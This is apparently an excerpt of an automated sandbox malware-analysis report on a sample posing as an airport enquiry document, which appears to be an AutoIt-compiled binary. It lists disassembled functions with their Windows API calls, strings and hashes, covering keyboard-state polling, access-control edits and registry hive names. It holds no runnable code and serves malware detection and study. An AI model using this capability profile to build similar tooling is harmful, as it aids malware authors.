GetFileAttributesW.KERNEL32(?), ref: 00CEDCE6
SetFileAttributesW.KERNEL32(?,00000000), ref: 00CEDD00
SetCurrentDirectoryW.KERNEL32(?), ref: 00CEDD12

Strings

*.*, xrefs: 00CEDD51

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile_wcscat$__wsplitpath
String ID: *.*
API String ID: 34673085-438819550
Opcode ID: 59cbe47c283e2c1d067cc1b02c9ac0e466baf33d270572800904211405b45ea2
Instruction ID: c4c645396d57d544213c5d9010512c9a7e369172976db8537f06cb3264f40f99
Opcode Fuzzy Hash: 59cbe47c283e2c1d067cc1b02c9ac0e466baf33d270572800904211405b45ea2
Instruction Fuzzy Hash: 6681A4715043819FCB24EF26C8459AEB7E8BF88354F19882EF89AC7250E770DA45DB52

Function 00D0C49C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C82612: GetWindowLongW.USER32(?,000000EB), ref: 00C82623

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00D0C4EC
GetFocus.USER32 ref: 00D0C4FC
GetDlgCtrlID.USER32(00000000), ref: 00D0C507
_memset.LIBCMT ref: 00D0C632
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 00D0C65D
GetMenuItemCount.USER32(?), ref: 00D0C67D
GetMenuItemID.USER32(?,00000000), ref: 00D0C690
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 00D0C6C4
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 00D0C70C
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00D0C744
DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 00D0C779

Strings

0, xrefs: 00D0C62A

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
String ID: 0
API String ID: 1296962147-4108050209
Opcode ID: 3402393c6fde5cd27afca61a9c871454546a2ce35757df36a4370082970307d8
Instruction ID: feab0232472787e312d15163cda7e8f914924d2b4116e3e72c78db74c213182d
Opcode Fuzzy Hash: 3402393c6fde5cd27afca61a9c871454546a2ce35757df36a4370082970307d8
Instruction Fuzzy Hash: 16817D746183019FD720DF14C884BABBBE8FB89314F14162DF999972A1D771D905CBB2

Function 00CD83F4 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00CD874A: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00CD8766
Part of subcall function 00CD874A: GetLastError.KERNEL32(?,00CD822A,?,?,?), ref: 00CD8770
Part of subcall function 00CD874A: GetProcessHeap.KERNEL32(00000008,?,?,00CD822A,?,?,?), ref: 00CD877F
Part of subcall function 00CD874A: HeapAlloc.KERNEL32(00000000,?,00CD822A,?,?,?), ref: 00CD8786
Part of subcall function 00CD874A: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00CD879D

Part of subcall function 00CD87E7: GetProcessHeap.KERNEL32(00000008,00CD8240,00000000,00000000,?,00CD8240,?), ref: 00CD87F3
Part of subcall function 00CD87E7: HeapAlloc.KERNEL32(00000000,?,00CD8240,?), ref: 00CD87FA
Part of subcall function 00CD87E7: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00CD8240,?), ref: 00CD880B

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00CD8458
_memset.LIBCMT ref: 00CD846D
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00CD848C
GetLengthSid.ADVAPI32(?), ref: 00CD849D
GetAce.ADVAPI32(?,00000000,?), ref: 00CD84DA
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00CD84F6
GetLengthSid.ADVAPI32(?), ref: 00CD8513
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00CD8522
HeapAlloc.KERNEL32(00000000), ref: 00CD8529
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00CD854A
CopySid.ADVAPI32(00000000), ref: 00CD8551
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00CD8582
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00CD85A8
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00CD85BC

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: 02f17bf04e1475007faddca5403f6c48a9de2a47e375616d76d038532d18df56
Instruction ID: b6269ea2e9b8d9527143648c706a4b6923a1c055e45539c211298c6ba3ef4d14
Opcode Fuzzy Hash: 02f17bf04e1475007faddca5403f6c48a9de2a47e375616d76d038532d18df56
Instruction Fuzzy Hash: 29612C71900209ABDF10DF95EC45AAEBBB9FF04710F14816AF925E7391EB319A09CF60

Function 00CF762D Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00CF76A2
CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 00CF76AE
CreateCompatibleDC.GDI32(?), ref: 00CF76BA
SelectObject.GDI32(00000000,?), ref: 00CF76C7
StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 00CF771B
GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 00CF7757
GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 00CF777B
SelectObject.GDI32(00000006,?), ref: 00CF7783
DeleteObject.GDI32(?), ref: 00CF778C
DeleteDC.GDI32(00000006), ref: 00CF7793
ReleaseDC.USER32(00000000,?), ref: 00CF779E

Strings

(, xrefs: 00CF7723

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 07e57087bd98bcf06aa150fd5148368b8f86e0a2ce4b570474ef2d0c2e38f2a2
Instruction ID: ad34c86c932f71f8cd4ad9fbbf1da2b04d43911480d5dca2abaec98e3ba27e07
Opcode Fuzzy Hash: 07e57087bd98bcf06aa150fd5148368b8f86e0a2ce4b570474ef2d0c2e38f2a2
Instruction Fuzzy Hash: 71513875904309EFCB25CFA8CC85EAEBBB9EF48310F14852DFA59D7210D731A9408B60

Function 00CEA0B5 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 156COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00D0FB78), ref: 00CEA0FC

Part of subcall function 00C87F41: _memmove.LIBCMT ref: 00C87F82

LoadStringW.USER32(?,?,00000FFF,?), ref: 00CEA11E
__swprintf.LIBCMT ref: 00CEA177
__swprintf.LIBCMT ref: 00CEA190
_wprintf.LIBCMT ref: 00CEA246
_wprintf.LIBCMT ref: 00CEA264

Strings

^ ERROR, xrefs: 00CEA1E8
"%s" (%d) : ==> %s:%s%s, xrefs: 00CEA241
Line %d (File "%s"):, xrefs: 00CEA171, 00CEA18A
"%s" (%d) : ==> %s:, xrefs: 00CEA25F
Error: , xrefs: 00CEA20E

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-2391861430
Opcode ID: eb1c3e81711ac544271f2057d8c8f8365068b359452f86bc31c8bbfb947d60d5
Instruction ID: c013cc33843c3d730b1433cc8b62d5b8b7f7ec7bf0bc149bcf6b7ad1f5f4ccf2
Opcode Fuzzy Hash: eb1c3e81711ac544271f2057d8c8f8365068b359452f86bc31c8bbfb947d60d5
Instruction Fuzzy Hash: 8E514871904209BFCF15FBE0CD86AEEB778AF05304F200265B515B21A1EB71AF58EB65

Function 00C86BEC Relevance: 19.7, APIs: 4, Strings: 7, Instructions: 478COMMON

Download Yara Rule

APIs

Part of subcall function 00CA0B9B: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,00C86C6C,?,00008000), ref: 00CA0BB7

Part of subcall function 00C848AE: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00C848A1,?,?,00C837C0,?), ref: 00C848CE

SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00C86D0D
SetCurrentDirectoryW.KERNEL32(?), ref: 00C86E5A

Part of subcall function 00C859CD: _wcscpy.LIBCMT ref: 00C85A05

Part of subcall function 00CA387D: _iswctype.LIBCMT ref: 00CA3885

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 00CBE8BF
AU3!, xrefs: 00C86CC1
Bad directive syntax error, xrefs: 00CBEBC6
#include depth exceeded. Make sure there are no recursive includes, xrefs: 00CBE84A
Unterminated string, xrefs: 00CBEC0D
Error opening the file, xrefs: 00CBE866, 00CBE8E1
EA06, xrefs: 00CBE87B

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 537147316-1018226102
Opcode ID: 8fd063b2e9be72730d52e907aab7947397bcd124c9b27617c213876329cafa5a
Instruction ID: 15e19405ae44450a532e9bd0f934b8ade80084c97d2c900e59e86b1f94f3cc20
Opcode Fuzzy Hash: 8fd063b2e9be72730d52e907aab7947397bcd124c9b27617c213876329cafa5a
Instruction Fuzzy Hash: D002BD301083419FC724EF24C881AEFBBE5BF89758F14091DF49A972A1DB70DA49EB56

Function 00C845DF Relevance: 19.7, APIs: 13, Instructions: 215windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C845F9
GetMenuItemCount.USER32(00D46890), ref: 00CBD7CD
GetMenuItemCount.USER32(00D46890), ref: 00CBD87D
GetCursorPos.USER32(?), ref: 00CBD8C1
SetForegroundWindow.USER32(00000000), ref: 00CBD8CA
TrackPopupMenuEx.USER32(00D46890,00000000,?,00000000,00000000,00000000), ref: 00CBD8DD
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00CBD8E9

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow_memset
String ID:
API String ID: 2751501086-0
Opcode ID: faa4d38186f181d3bba3674cedb9b63ddf950ba22dfe302231713498072391b6
Instruction ID: b193fe8efb9f03dd9ea13e57589ba745733ae50d6644df60f473e1a08685dedb
Opcode Fuzzy Hash: faa4d38186f181d3bba3674cedb9b63ddf950ba22dfe302231713498072391b6
Instruction Fuzzy Hash: 2C710570600216BEEB349F15DC89FEABF69FF05368F200216F52AA61E0DBB15910DB94

Function 00D010A5 Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,00D00038,?,?), ref: 00D010BC

Strings

HKLM, xrefs: 00D0113A
HKEY_LOCAL_MACHINE, xrefs: 00D01125
HKEY_CURRENT_USER, xrefs: 00D0119B
HKCR, xrefs: 00D01164
HKEY_USERS, xrefs: 00D011BD
HKEY_CLASSES_ROOT, xrefs: 00D0114F
HKU, xrefs: 00D011CE
HKCU, xrefs: 00D011AC
HKCC, xrefs: 00D0118A
HKEY_CURRENT_CONFIG, xrefs: 00D01179

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-909552448
Opcode ID: 3aa733fa231bebc739fc7ecbcc76b9593943b0b23a4ecf1242d374335f57aac4
Instruction ID: 35dcbe253db9a6179e05d24e130cde9d20b5858cf19b529559793799c8e7f433
Opcode Fuzzy Hash: 3aa733fa231bebc739fc7ecbcc76b9593943b0b23a4ecf1242d374335f57aac4
Instruction Fuzzy Hash: 8341687550034A8BCF14EFA0D891BEE3724BF26354F244415EDA55B292DB30E91ADBB1

Function 00CE5569 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON

Download Yara Rule

APIs

Part of subcall function 00C87D2C: _memmove.LIBCMT ref: 00C87D66

Part of subcall function 00C87A84: _memmove.LIBCMT ref: 00C87B0D

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00CE55D2
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00CE55E8
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00CE55F9
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00CE560B
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00CE561C

Strings

status PlayMe mode, xrefs: 00CE55CD
alias PlayMe, xrefs: 00CE55AB
open , xrefs: 00CE5581
play PlayMe, xrefs: 00CE5617
close PlayMe, xrefs: 00CE55E3, 00CE5610
play PlayMe wait, xrefs: 00CE5606

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: SendString$_memmove
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2279737902-1007645807
Opcode ID: cfe4bee48e5f8c3930f1af19ce2053d16cf36a36427834afaa9db597e484382c
Instruction ID: 8ee2dddbd7d88b3e96e953aa3c5a4ed9938b5e67187a8d5e10c040f232e3de2e
Opcode Fuzzy Hash: cfe4bee48e5f8c3930f1af19ce2053d16cf36a36427834afaa9db597e484382c
Instruction Fuzzy Hash: EF11C4216501697DD720B7A6CC8ADFF7B7CEF91F08F500529B455A20D1EEA05E09CAB1

Function 00CE48F3 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00CE490E
gethostname.WSOCK32(?,00000100), ref: 00CE4928
gethostbyname.WSOCK32(?), ref: 00CE4935
_wcscpy.LIBCMT ref: 00CE495D
_memmove.LIBCMT ref: 00CE4970
inet_ntoa.WSOCK32(?), ref: 00CE497B
_strcat.LIBCMT ref: 00CE4989
_wcscpy.LIBCMT ref: 00CE49A0
WSACleanup.WSOCK32 ref: 00CE49AE
_wcscpy.LIBCMT ref: 00CE49BC

Strings

0.0.0.0, xrefs: 00CE4957

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 208665112-3771769585
Opcode ID: 5ef01de0af7e3863347687ff264c51777fb5afa6324e3541a667645b2f1b996e
Instruction ID: 465ae345d0cc8d60c88c98b355ed76d5e1d50ca3c6e9aa0e65a86dfe6cbf2ceb
Opcode Fuzzy Hash: 5ef01de0af7e3863347687ff264c51777fb5afa6324e3541a667645b2f1b996e
Instruction Fuzzy Hash: 7A112731904225AFCB34EB65DC0AFDB77BCDF41714F1401B5F408E6192EF709A819661

Function 00CE5217 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00CE521C

Part of subcall function 00CA0719: timeGetTime.WINMM(?,75C0B400,00C90FF9), ref: 00CA071D

Sleep.KERNEL32(0000000A), ref: 00CE5248
EnumThreadWindows.USER32(?,Function_000651CA,00000000), ref: 00CE526C
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00CE528E
SetActiveWindow.USER32 ref: 00CE52AD
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00CE52BB
SendMessageW.USER32(00000010,00000000,00000000), ref: 00CE52DA
Sleep.KERNEL32(000000FA), ref: 00CE52E5
IsWindow.USER32 ref: 00CE52F1
EndDialog.USER32(00000000), ref: 00CE5302

Strings

BUTTON, xrefs: 00CE5280

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: adff04a3f39f7a9e95bb21e54d7eea323692d0e4e95ef060e821ccd6a29a0567
Instruction ID: d5d40c2dbce962bec99c6c58b0bd1057cfc33eb9d86a308893ed38191736f198
Opcode Fuzzy Hash: adff04a3f39f7a9e95bb21e54d7eea323692d0e4e95ef060e821ccd6a29a0567
Instruction Fuzzy Hash: 1A21C374204B85AFE7205F31EC8CB2A3B69EB5638AF601434F105C67B1CBB19D409BB2

Function 00CED7F8 Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON

Download Yara Rule

APIs

Part of subcall function 00C89997: __itow.LIBCMT ref: 00C899C2
Part of subcall function 00C89997: __swprintf.LIBCMT ref: 00C89A0C

CoInitialize.OLE32(00000000), ref: 00CED855
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00CED8E8
SHGetDesktopFolder.SHELL32(?), ref: 00CED8FC
CoCreateInstance.OLE32(00D12D7C,00000000,00000001,00D3A89C,?), ref: 00CED948
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00CED9B7
CoTaskMemFree.OLE32(?,?), ref: 00CEDA0F
_memset.LIBCMT ref: 00CEDA4C
SHBrowseForFolderW.SHELL32(?), ref: 00CEDA88
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00CEDAAB
CoTaskMemFree.OLE32(00000000), ref: 00CEDAB2
CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 00CEDAE9
CoUninitialize.OLE32(00000001,00000000), ref: 00CEDAEB

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
String ID:
API String ID: 1246142700-0
Opcode ID: 1f530662af0b295f28c4de4fbcdb547524ccccf2aabe0cdda696faa7ecf7eb36
Instruction ID: 8680421db722bc31f55f70733af3d4261f8ecefbb538e8cd4871896e631a9fdf
Opcode Fuzzy Hash: 1f530662af0b295f28c4de4fbcdb547524ccccf2aabe0cdda696faa7ecf7eb36
Instruction Fuzzy Hash: BCB1F075A00109AFDB14DF65C888EAEBBF9FF48304B148469F90ADB251DB30EE45DB54

Function 00CE052C Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00CE05A7
SetKeyboardState.USER32(?), ref: 00CE0612
GetAsyncKeyState.USER32(000000A0), ref: 00CE0632
GetKeyState.USER32(000000A0), ref: 00CE0649
GetAsyncKeyState.USER32(000000A1), ref: 00CE0678
GetKeyState.USER32(000000A1), ref: 00CE0689
GetAsyncKeyState.USER32(00000011), ref: 00CE06B5
GetKeyState.USER32(00000011), ref: 00CE06C3
GetAsyncKeyState.USER32(00000012), ref: 00CE06EC
GetKeyState.USER32(00000012), ref: 00CE06FA
GetAsyncKeyState.USER32(0000005B), ref: 00CE0723
GetKeyState.USER32(0000005B), ref: 00CE0731

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: ba4ddb60caa89161314f57c7fc2fa1de1a60566616eb3fa18a0787c0c83502dd
Instruction ID: a4b339371a7391254e3c0e95d0378f2b3e8680aac3b65121cc17973693136923
Opcode Fuzzy Hash: ba4ddb60caa89161314f57c7fc2fa1de1a60566616eb3fa18a0787c0c83502dd
Instruction Fuzzy Hash: 65510A30A047C819FB34DBA288547EABFB49F01380F184599D9D2561C2DAE49BCCCBA5

Function 00CDC72A Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 00CDC746
GetWindowRect.USER32(00000000,?), ref: 00CDC758
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 00CDC7B6
GetDlgItem.USER32(?,00000002), ref: 00CDC7C1
